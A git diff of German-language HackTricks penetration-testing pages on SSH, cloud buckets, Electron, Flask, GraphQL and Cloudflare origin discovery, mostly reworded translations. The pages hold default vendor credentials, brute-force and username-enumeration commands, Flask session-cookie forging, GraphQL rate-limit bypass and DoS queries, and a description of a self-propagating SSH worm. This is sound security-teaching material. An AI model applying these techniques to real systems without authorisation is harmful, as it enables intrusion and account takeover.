- Analyse der SSH-Versionenkompatibilität basierend auf Algorithmusinformationen;
- Historische Informationen von OpenSSH, Dropbear SSH und libssh;
- Läuft auf Linux und Windows;
- Keine Abhängigkeiten
@ -95,19 +93,19 @@ nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check a
## Brute-Force-Benutzernamen, Passwörter und private Schlüssel
### Benutzernamenenumeration
### Benutzernamen-Enumeration
In einigen Versionen von OpenSSH können Sie einen Timing-Angriff durchführen, um Benutzer zu enumerieren. Sie können ein Metasploit-Modul verwenden, um dies auszunutzen:
```
msf> use scanner/ssh/ssh_enumusers
```
### [Brute force](../generic-hacking/brute-force.md#ssh)
### [Brute Force](../generic-hacking/brute-force.md#ssh)
Einige gängige ssh-Anmeldeinformationen [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt) und [hier](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) und unten.
### Private Key Brute Force
Wenn Sie einige ssh-Private Keys kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
Wenn Sie einige ssh-Private-Keys kennen, die verwendet werden könnten... lassen Sie es uns versuchen. Sie können das nmap-Skript verwenden:
```
https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html
```
@ -119,17 +117,19 @@ Oder verwenden Sie `ssh-keybrute.py` (natives python3, leichtgewichtig und mit a
#### Bekannte schlechte Schlüssel finden Sie hier:
{% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %}
{{#ref}}
https://github.com/rapid7/ssh-badkeys/tree/master/authorized
{{#endref}}
#### Schwache SSH-Schlüssel / Vorhersehbarer PRNG in Debian
Einige Systeme haben bekannte Mängel im Zufallsseed, der zur Erzeugung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der bruteforced werden kann. Vorgefertigte Schlüsselsets, die auf Debian-Systemen mit schwachem PRNG generiert wurden, sind hier verfügbar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Einige Systeme haben bekannte Mängel im Zufallsstart, der zur Generierung kryptografischer Materialien verwendet wird. Dies kann zu einem dramatisch reduzierten Schlüsselraum führen, der bruteforced werden kann. Vorgefertigte Schlüsselsets, die auf Debian-Systemen mit schwachem PRNG generiert wurden, sind hier verfügbar: [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Sie sollten hier nach gültigen Schlüsseln für die Zielmaschine suchen.
### Kerberos
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` nutzen, um **über Kerberos zu authentifizieren**.\
**crackmapexec** verwendet das `ssh`-Protokoll und kann die Option `--kerberos` verwenden, um **über Kerberos zu authentifizieren**.\
Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
## Standardanmeldeinformationen
@ -139,7 +139,7 @@ Für weitere Informationen führen Sie `crackmapexec ssh --help` aus.
| APC | apc, device | apc |
| Brocade | admin | admin123, password, brocade, fibranne |
| Cisco | admin, cisco, enable, hsa, pix, pnadmin, ripeop, root, shelladmin | admin, Admin123, default, password, secur4u, cisco, Cisco, \_Cisco, cisco123, C1sco!23, Cisco123, Cisco1234, TANDBERG, change_it, 12345, ipics, pnadmin, diamond, hsadb, c, cc, attack, blender, changeme |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| Citrix | root, nsroot, nsmaint, vdiadmin, kvm, cli, admin | C1trix321, nsroot, nsmaint, kaviza, kaviza123, freebsd, public, rootadmin, wanscaler |
| D-Link | admin, user | private, admin, user |
| Dell | root, user1, admin, vkernel, cli | calvin, 123456, password, vkernel, Stor@ge!, admin |
| EMC | admin, root, sysadmin | EMCPMAdm7n, Password#1, Password123#, sysadmin, changeme, emc |
@ -176,13 +176,13 @@ SSH-Snake führt die folgenden Aufgaben automatisch und rekursiv aus:
3. Versuchen Sie, sich mit allen entdeckten Privatschlüsseln in alle Ziele einzuloggen,
4. Wenn eine Verbindung zu einem Ziel erfolgreich hergestellt wird, wiederholen Sie die Schritte #1 - #4 auf dem verbundenen System.
Es ist vollständig selbstreplicierend und selbstverbreitend – und vollständig dateilos.
Es ist vollständig selbstreplizierend und selbstverbreitend – und vollständig dateilos.
## Konfigurationsfehler
### Root-Login
Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen, was ein erhebliches Sicherheitsrisiko darstellt. **Das Deaktivieren des Root-Logins** ist ein kritischer Schritt zur Sicherung des Servers. Unbefugter Zugriff mit administrativen Rechten und Brute-Force-Angriffe können durch diese Änderung gemildert werden.
Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen, was ein erhebliches Sicherheitsrisiko darstellt. **Das Deaktivieren des Root-Logins** ist ein kritischer Schritt zur Sicherung des Servers. Unbefugter Zugriff mit Administratorrechten und Brute-Force-Angriffe können durch diese Änderung gemindert werden.
**So deaktivieren Sie den Root-Login in OpenSSH:**
@ -191,7 +191,7 @@ Es ist üblich, dass SSH-Server standardmäßig den Root-Benutzer-Login zulassen
3. **Laden Sie die Konfiguration neu** mit: `sudo systemctl daemon-reload`
4. **Starten Sie den SSH-Server neu**, um die Änderungen anzuwenden: `sudo systemctl restart sshd`
### SFTP-Brute-Force
### SFTP Brute Force
- [**SFTP Brute Force**](../generic-hacking/brute-force.md#sftp)
@ -242,17 +242,17 @@ sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compro
```
### SFTP Symlink
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich sein**, aber wenn Sie auf den erstellten **symlink** von einem **no-chroot** **Dienst** (zum Beispiel, wenn Sie auf den symlink über das Web zugreifen können) zugreifen können, könnten Sie **die symlinkten Dateien über das Web öffnen**.
Der **sftp** hat den Befehl "**symlink**". Daher, wenn Sie **schreibbare Rechte** in einem Ordner haben, können Sie **Symlinks** von **anderen Ordnern/Dateien** erstellen. Da Sie wahrscheinlich in einem chroot **eingeschlossen** sind, wird dies für Sie **nicht besonders nützlich sein**, aber wenn Sie auf den erstellten **Symlink** von einem **no-chroot** **Dienst** (zum Beispiel, wenn Sie auf den Symlink über das Web zugreifen können) zugreifen können, könnten Sie **die symlinkten Dateien über das Web öffnen**.
Zum Beispiel, um einen **symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen:
Zum Beispiel, um einen **Symlink** von einer neuen Datei **"**_**froot**_**" zu "**_**/**_**"** zu erstellen:
```bash
sftp> symlink / froot
```
Wenn Sie auf die Datei "_froot_" über das Web zugreifen können, sind Sie in der Lage, den Root ("/")-Ordner des Systems aufzulisten.
Wenn Sie auf die Datei "_froot_" über das Web zugreifen können, können Sie den Root ("/")-Ordner des Systems auflisten.
### Authentifizierungsmethoden
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache faktorenbasierte Passwortauthentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
In hochsicheren Umgebungen ist es gängige Praxis, nur schlüsselbasierte oder Zwei-Faktor-Authentifizierung zu aktivieren, anstatt die einfache passwortbasierte Authentifizierung. Oft werden jedoch die stärkeren Authentifizierungsmethoden aktiviert, ohne die schwächeren zu deaktivieren. Ein häufiges Beispiel ist die Aktivierung von `publickey` in der openSSH-Konfiguration und die Festlegung als Standardmethode, ohne `password` zu deaktivieren. Durch die Verwendung des ausführlichen Modus des SSH-Clients kann ein Angreifer sehen, dass eine schwächere Methode aktiviert ist:
```bash
ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d 10 Sep 2019
@ -265,7 +265,7 @@ ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password
```
Die Überprüfung der SSH-Serverkonfiguration ist notwendig, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.
Überprüfen Sie die SSH-Serverkonfiguration, um sicherzustellen, dass nur die erwarteten Methoden autorisiert sind. Die Verwendung des ausführlichen Modus auf dem Client kann helfen, die Effektivität der Konfiguration zu sehen.
### Config-Dateien
```bash
@ -283,7 +283,7 @@ id_rsa
## References
- Sie können interessante Anleitungen finden, wie man SSH absichert in [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- Sie finden interessante Anleitungen zur Härtung von SSH unter [https://www.ssh-audit.com/hardening_guides.html](https://www.ssh-audit.com/hardening_guides.html)
- [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide)
## HackTricks Automatic Commands

4
src/network-services-pentesting/pentesting-web/buckets/README.md
View File

@ -4,6 +4,8 @@
Überprüfen Sie diese Seite, wenn Sie mehr über das Auflisten und Ausnutzen von Buckets erfahren möchten:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

4
src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
View File

@ -8,6 +8,8 @@ Firebase ist ein Backend-as-a-Service, hauptsächlich für mobile Anwendungen. E
Erfahren Sie mehr über Firebase unter:
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %}
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

6
src/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md
View File

@ -15,7 +15,9 @@ cachedArchives[p].destroy()
}
})
```
{% embed url="https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36" %}
{{#ref}}
https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d3ba4c5/lib/common/asar.js#L30-L36
{{#endref}}
![](<../../../images/image (1070).png>)
@ -44,7 +46,7 @@ location.reload() //Trigger the "exit" event
```
## Beispiel 2
Erhalte **require-Objekt aus Prototyp-Verschmutzung**. Von [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
Erhalte **require-Objekt aus Prototyp-Pollution**. Von [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
Leck:

10
src/network-services-pentesting/pentesting-web/flask.md
View File

@ -22,9 +22,11 @@ Das Cookie ist auch mit einem Passwort signiert
### **Flask-Unsign**
Befehlszeilenwerkzeug zum Abrufen, Dekodieren, Brute-Forcen und Erstellen von Sitzungscookies einer Flask-Anwendung durch Raten von geheimen Schlüsseln.
Befehlszeilenwerkzeug zum Abrufen, Dekodieren, Brute-Forcen und Erstellen von Sitzungs-Cookies einer Flask-Anwendung durch Raten von geheimen Schlüsseln.
{% embed url="https://pypi.org/project/flask-unsign/" %}
{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}
```bash
pip3 install flask-unsign
```
@ -48,7 +50,9 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
Befehlszeilenwerkzeug zum Brute-Forcen von Websites unter Verwendung von mit flask-unsign erstellten Cookies.
{% embed url="https://github.com/Tagvi/ripsession" %}
{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

46
src/network-services-pentesting/pentesting-web/graphql.md
View File

@ -2,7 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
## Einführung
GraphQL wird als **effiziente Alternative** zu REST API hervorgehoben und bietet einen vereinfachten Ansatz zum Abfragen von Daten vom Backend. Im Gegensatz zu REST, das oft zahlreiche Anfragen über verschiedene Endpunkte erfordert, um Daten zu sammeln, ermöglicht GraphQL das Abrufen aller benötigten Informationen über eine **einzelne Anfrage**. Diese Vereinfachung **kommt Entwicklern zugute**, indem sie die Komplexität ihrer Datenabrufprozesse verringert.
@ -42,7 +41,7 @@ Graphql unterstützt normalerweise **GET**, **POST** (x-www-form-urlencoded) und
#### Introspektion
Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, fragen Sie das Feld `__schema` ab. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
Um Introspektion zu verwenden, um Schema-Informationen zu entdecken, fragen Sie das `__schema`-Feld ab. Dieses Feld ist auf dem Wurzeltyp aller Abfragen verfügbar.
```bash
query={__schema{types{name,fields{name}}}}
```
@ -177,7 +176,7 @@ In der Introspektion können Sie **sehen, welches Objekt Sie direkt abfragen kö
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
Beachten Sie, dass der Typ der Abfrage "_flags_" "_Flags_" ist, und dieses Objekt wie folgt definiert ist:
Beachten Sie, dass der Typ der Abfrage "_flags_" "_Flags_" ist, und dieses Objekt ist wie folgt definiert:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
@ -194,7 +193,7 @@ Sie können es einfach mit abfragen:
query = { hiddenFlags }
```
In einem anderen Beispiel, in dem es 2 Objekte im "_Query_" Typobjekt gab: "_user_" und "_users_".\
Wenn diese Objekte keine Argumente benötigen, um zu suchen, könnte man **alle Informationen von ihnen abrufen**, indem man einfach die gewünschten Daten anfragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren:
Wenn diese Objekte keine Argumente benötigen, um zu suchen, könnte man **alle Informationen von ihnen abrufen**, indem man einfach nach den gewünschten Daten fragt. In diesem Beispiel aus dem Internet könnte man die gespeicherten Benutzernamen und Passwörter extrahieren:
![](<../../images/image (880).png>)
@ -251,7 +250,7 @@ name
```
Beachten Sie, wie angegeben ist, um den `name` der `subscribedMovies` der Person abzurufen.
Sie können auch **mehrere Objekte gleichzeitig suchen**. In diesem Fall wird eine Suche nach 2 Filmen durchgeführt:
Sie können auch **mehrere Objekte gleichzeitig suchen**. In diesem Fall wird nach 2 Filmen gesucht:
```javascript
{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
@ -292,7 +291,7 @@ In der **Introspektion** finden Sie die **deklarierten** **Mutationen**. In der
In diesem Setup enthält eine **Datenbank** **Personen** und **Filme**. **Personen** werden durch ihre **E-Mail** und **Namen** identifiziert; **Filme** durch ihren **Namen** und **Bewertung**. **Personen** können Freunde miteinander sein und auch Filme haben, was Beziehungen innerhalb der Datenbank anzeigt.
Eine Mutation, um **neue** Filme in der Datenbank zu **erstellen**, könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt):
Eine Mutation zum **Erstellen neuer** Filme in der Datenbank könnte wie folgt aussehen (in diesem Beispiel wird die Mutation `addMovie` genannt):
```javascript
mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
@ -346,7 +345,7 @@ Unten finden Sie die einfachste Demonstration einer Anwendungsauthentifizierungs
![](<../../images/image (1081).png>)
Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dritte Anfrage _null_ zurück und spiegelten die entsprechenden Informationen im _error_-Bereich wider. Die **zweite Mutation hatte die korrekten Authentifizierungs**daten und die Antwort enthält das korrekte Authentifizierungssession-Token.
Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dritte Anfrage _null_ zurück und spiegelten die entsprechenden Informationen im _error_-Bereich wider. Die **zweite Mutation hatte die korrekten Authentifizierungs**daten und die Antwort enthält das korrekte Authentifizierungssitzungstoken.
![](<../../images/image (119) (1).png>)
@ -354,7 +353,7 @@ Wie wir aus dem Screenshot der Antwort sehen können, gaben die erste und die dr
Immer mehr **GraphQL-Endpunkte deaktivieren die Introspektion**. Die Fehler, die GraphQL wirft, wenn eine unerwartete Anfrage empfangen wird, sind jedoch ausreichend für Tools wie [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), um den größten Teil des Schemas zu rekonstruieren.
Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL-API-Anfragen, die durch Burp gehen**, und **baut** ein internes GraphQL-**Schema** mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder an, die innerhalb der API verfügbar sind. Für weitere Informationen [**überprüfen Sie dies**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Darüber hinaus beobachtet die Burp Suite-Erweiterung [**GraphQuail**](https://github.com/forcesunseen/graphquail) **GraphQL API-Anfragen, die durch Burp gehen**, und **baut** ein internes GraphQL-**Schema** mit jeder neuen Abfrage, die sie sieht. Es kann auch das Schema für GraphiQL und Voyager offenlegen. Die Erweiterung gibt eine gefälschte Antwort zurück, wenn sie eine Introspektionsanfrage erhält. Infolgedessen zeigt GraphQuail alle Abfragen, Argumente und Felder an, die innerhalb der API verfügbar sind. Für weitere Informationen [**überprüfen Sie dies**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
Eine schöne **Wortliste**, um [**GraphQL-Entitäten zu entdecken, finden Sie hier**](https://github.com/Escape-Technologies/graphql-wordlist?).
@ -398,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
```
### **Entdecken von Exponierten GraphQL-Strukturen**
Wenn die Introspektion deaktiviert ist, ist das Durchsuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können im `Sources`-Tab der Entwicklertools gefunden werden, was Einblicke in das Schema der API bietet und potenziell **exponierte sensible Abfragen** offenbart. Die Befehle zur Suche innerhalb der Entwicklertools sind:
Wenn die Introspektion deaktiviert ist, ist das Durchsuchen des Quellcodes der Website nach vorab geladenen Abfragen in JavaScript-Bibliotheken eine nützliche Strategie. Diese Abfragen können im `Sources`-Tab der Entwicklertools gefunden werden, was Einblicke in das Schema der API bietet und potenziell **exponierte sensible Abfragen** offenbart. Die Befehle zum Suchen innerhalb der Entwicklertools sind:
```javascript
Inspect/Sources/"Search all files"
file:* mutation
@ -430,11 +429,11 @@ Es ist zu beachten, dass es normalerweise möglich ist, die **Abfrage** **Anfrag
Außerdem könnte es möglich sein, durch den Missbrauch eines [**XS-Search**](../../pentesting-web/xs-search/) **Angriffs** Inhalte vom GraphQL-Endpunkt unter Ausnutzung der Anmeldeinformationen des Benutzers zu exfiltrieren.
Für weitere Informationen **überprüfen Sie den** [**originalen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
Für weitere Informationen **überprüfen Sie den** [**ursprünglichen Beitrag hier**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
## Cross-Site WebSocket-Hijacking in GraphQL
## Cross-Site-WebSocket-Hijacking in GraphQL
Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
Ähnlich wie bei CRSF-Schwachstellen, die GraphQL ausnutzen, ist es auch möglich, ein **Cross-Site-WebSocket-Hijacking durchzuführen, um eine Authentifizierung mit GraphQL mit ungeschützten Cookies auszunutzen** und einen Benutzer dazu zu bringen, unerwartete Aktionen in GraphQL auszuführen.
Für weitere Informationen überprüfen Sie:
@ -466,13 +465,13 @@ Im folgenden Beispiel sehen Sie, dass die Operation "forgotPassword" ist und das
## Umgehung von Ratenlimits mit Aliassen in GraphQL
In GraphQL sind Aliasse eine leistungsstarke Funktion, die es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
In GraphQL sind Aliasse ein leistungsstarkes Feature, das es ermöglicht, **Eigenschaften explizit zu benennen**, wenn eine API-Anfrage gestellt wird. Diese Fähigkeit ist besonders nützlich, um **mehrere Instanzen desselben Typs** von Objekten innerhalb einer einzigen Anfrage abzurufen. Aliasse können verwendet werden, um die Einschränkung zu überwinden, die verhindert, dass GraphQL-Objekte mehrere Eigenschaften mit demselben Namen haben.
Für ein detailliertes Verständnis von GraphQL-Aliassen wird die folgende Ressource empfohlen: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit zahlreicher API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt durchzuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.
Während der Hauptzweck von Aliassen darin besteht, die Notwendigkeit zahlreicher API-Aufrufe zu reduzieren, wurde ein unbeabsichtigter Anwendungsfall identifiziert, bei dem Aliasse genutzt werden können, um Brute-Force-Angriffe auf einen GraphQL-Endpunkt auszuführen. Dies ist möglich, weil einige Endpunkte durch Ratenbegrenzer geschützt sind, die darauf ausgelegt sind, Brute-Force-Angriffe zu verhindern, indem sie die **Anzahl der HTTP-Anfragen** einschränken. Diese Ratenbegrenzer berücksichtigen jedoch möglicherweise nicht die Anzahl der Operationen innerhalb jeder Anfrage. Da Aliasse die Einbeziehung mehrerer Abfragen in einer einzigen HTTP-Anfrage ermöglichen, können sie solche Ratenbegrenzungsmaßnahmen umgehen.
Betrachten Sie das folgende Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst, was möglicherweise die gleichzeitige Überprüfung zahlreicher Rabattcodes ermöglicht.
Betrachten Sie das unten angegebene Beispiel, das veranschaulicht, wie aliierte Abfragen verwendet werden können, um die Gültigkeit von Rabattcodes im Geschäft zu überprüfen. Diese Methode könnte Ratenbegrenzungen umgehen, da sie mehrere Abfragen in einer HTTP-Anfrage zusammenfasst und möglicherweise die Überprüfung zahlreicher Rabattcodes gleichzeitig ermöglicht.
```bash
# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
@ -540,7 +539,7 @@ Und dann **verwenden Sie einige der benutzerdefinierten**.
### **Feldduplikationsanfälligkeit**
**Feldduplikation** ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld, das übermäßig wiederholt wird, zulässt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem **Denial of Service (DoS)** führen kann.
**Feldduplikation** ist eine Anfälligkeit, bei der ein GraphQL-Server Abfragen mit demselben Feld übermäßig wiederholt. Dies zwingt den Server, das Feld für jede Instanz redundant aufzulösen, was erhebliche Ressourcen (CPU, Speicher und Datenbankaufrufe) verbraucht. Ein Angreifer kann Abfragen mit Hunderten oder Tausenden von wiederholten Feldern erstellen, was zu hoher Last führt und potenziell zu einem **Denial of Service (DoS)** führen kann.
```bash
# Test provided by https://github.com/dolevf/graphql-cop
curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@ -549,12 +548,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
```
## Tools
### Schwachstellenscanner
### Vulnerability scanners
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen von häufigen Fehlkonfigurationen von GraphQL-Endpunkten
- [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Testen Sie häufige Fehlkonfigurationen von GraphQL-Endpunkten
- [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): GraphQL-Sicherheitsprüfskript mit Fokus auf das Durchführen von Batch-GraphQL-Abfragen und -Mutationen.
- [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Fingerabdruck des verwendeten GraphQL
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit, das verwendet werden kann, um Schemata zu erfassen und nach sensiblen Daten zu suchen, Autorisierung zu testen, Schemata zu brute-forcen und Pfade zu einem bestimmten Typ zu finden.
- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Toolkit, das verwendet werden kann, um Schemata zu erfassen und nach sensiblen Daten zu suchen, Autorisierungen zu testen, Schemata zu brute-forcen und Pfade zu einem bestimmten Typ zu finden.
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Kann als Standalone oder [Burp-Erweiterung](https://github.com/doyensec/inql) verwendet werden.
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Kann auch als CLI-Client verwendet werden, um Angriffe zu automatisieren
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Tool, das die verschiedenen Möglichkeiten auflistet, **einen bestimmten Typ in einem GraphQL-Schema zu erreichen**.
@ -567,13 +566,15 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI-Client
- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI-Client
### Automatische Tests
### Automatic Tests
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
{{#ref}}
https://graphql-dashboard.herokuapp.com/
{{#endref}}
- Video, das AutoGraphQL erklärt: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
## Referenzen
## References
- [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
@ -583,5 +584,4 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
- [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
- [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql)
{{#include ../../banners/hacktricks-training.md}}

12
src/network-services-pentesting/pentesting-web/uncovering-cloudflare.md
View File

@ -4,9 +4,9 @@
## Häufige Techniken zur Aufdeckung von Cloudflare
- Sie können einen Dienst nutzen, der Ihnen die **historischen DNS-Einträge** der Domain gibt. Vielleicht läuft die Webseite auf einer IP-Adresse, die zuvor verwendet wurde.
- Sie können einen Dienst nutzen, der Ihnen die **historischen DNS-Einträge** der Domain bereitstellt. Vielleicht läuft die Webseite auf einer IP-Adresse, die zuvor verwendet wurde.
- Dasselbe könnte erreicht werden, indem man **historische SSL-Zertifikate** überprüft, die auf die ursprüngliche IP-Adresse verweisen könnten.
- Überprüfen Sie auch die **DNS-Einträge anderer Subdomains, die direkt auf IPs zeigen**, da es möglich ist, dass andere Subdomains auf denselben Server zeigen (vielleicht um FTP, Mail oder einen anderen Dienst anzubieten).
- Überprüfen Sie auch die **DNS-Einträge anderer Subdomains, die direkt auf IPs zeigen**, da es möglich ist, dass andere Subdomains auf denselben Server verweisen (vielleicht um FTP, Mail oder einen anderen Dienst anzubieten).
- Wenn Sie eine **SSRF innerhalb der Webanwendung** finden, können Sie diese ausnutzen, um die IP-Adresse des Servers zu erhalten.
